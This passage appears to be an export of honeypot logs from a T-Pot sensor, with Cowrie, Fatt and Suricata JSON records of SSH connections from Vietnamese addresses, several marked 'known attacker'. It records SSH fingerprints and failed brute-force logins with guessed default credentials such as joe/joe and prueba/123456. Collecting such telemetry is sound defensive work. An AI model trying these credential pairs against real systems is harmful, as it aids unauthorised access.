22333	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:04.956623+03	2021-09-20 14:15:04.801612+03	{"_id": "dAbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "d44b4683dc06", "@version": "1", "duration": 5.28277587890625, "timestamp": "2021-09-20T11:07:04.956623Z", "@timestamp": "2021-09-20T11:07:04.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22311	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:00.497208+03	2021-09-20 14:15:04.774642+03	{"_id": "qwbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37584, "timestamp": "2021-09-20T11:07:00.497208", "@timestamp": "2021-09-20T11:07:00.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22312	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:00.802782+03	2021-09-20 14:15:04.775642+03	{"_id": "rAbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37584, "dest_port": 22, "timestamp": "2021-09-20T11:07:00.802782", "@timestamp": "2021-09-20T11:07:00.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22313	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:00.208173+03	2021-09-20 14:15:04.776613+03	{"_id": "rQbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [joe/joe] failed", "session": "97b9fa918811", "@version": "1", "password": "joe", "username": "joe", "timestamp": "2021-09-20T11:07:00.208173Z", "@timestamp": "2021-09-20T11:07:00.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22314	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.291608+03	2021-09-20 14:15:04.777612+03	{"_id": "rgbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9b6c752ab340", "@version": "1", "duration": 2.4276137351989746, "timestamp": "2021-09-20T11:07:00.291608Z", "@timestamp": "2021-09-20T11:07:00.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22315	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.32659+03	2021-09-20 14:15:04.779613+03	{"_id": "rwbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4bb4e49e1dc7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:00.326590Z", "@timestamp": "2021-09-20T11:07:00.326Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22316	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:00.524419+03	2021-09-20 14:15:04.780613+03	{"_id": "sAbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [default/user] failed", "session": "907cfc66644a", "@version": "1", "password": "user", "username": "default", "timestamp": "2021-09-20T11:07:00.524419Z", "@timestamp": "2021-09-20T11:07:00.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22318	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.850803+03	2021-09-20 14:15:04.782612+03	{"_id": "sgbjAnwBvYTbRNuERQWK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4bb4e49e1dc7", "@version": "1", "timestamp": "2021-09-20T11:07:00.850803Z", "@timestamp": "2021-09-20T11:07:00.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22319	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:01.589182+03	2021-09-20 14:15:04.783614+03	{"_id": "swbjAnwBvYTbRNuESAUG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2043972441964920, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50652, "dest_port": 22, "timestamp": "2021-09-20T11:07:01.589182Z", "@timestamp": "2021-09-20T11:07:01.589Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22320	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:02.115129+03	2021-09-20 14:15:04.785613+03	{"_id": "twbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38964 (192.168.176.2:22) [session: 14f3cef08498]", "session": "14f3cef08498", "@version": "1", "protocol": "ssh", "src_port": 38964, "dest_port": 22, "timestamp": "2021-09-20T11:07:02.115129Z", "@timestamp": "2021-09-20T11:07:02.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22321	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:01.599526+03	2021-09-20 14:15:04.786613+03	{"_id": "0AbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 10 seconds", "session": "d7c819b86e5f", "@version": "1", "duration": 10.696079969406128, "timestamp": "2021-09-20T11:07:01.599526Z", "@timestamp": "2021-09-20T11:07:01.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22322	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:01.676573+03	2021-09-20 14:15:04.787614+03	{"_id": "zgbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [prueba/123456] failed", "session": "53e384f69b66", "@version": "1", "password": "123456", "username": "prueba", "timestamp": "2021-09-20T11:07:01.676573Z", "@timestamp": "2021-09-20T11:07:01.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
35471	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:50.306623+03	2021-09-20 15:15:03.305691+03	{"_id": "PQYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:50.306623Z", "@timestamp": "2021-09-20T12:08:50.306Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
22323	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:01.632879+03	2021-09-20 14:15:04.788613+03	{"_id": "4AbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hma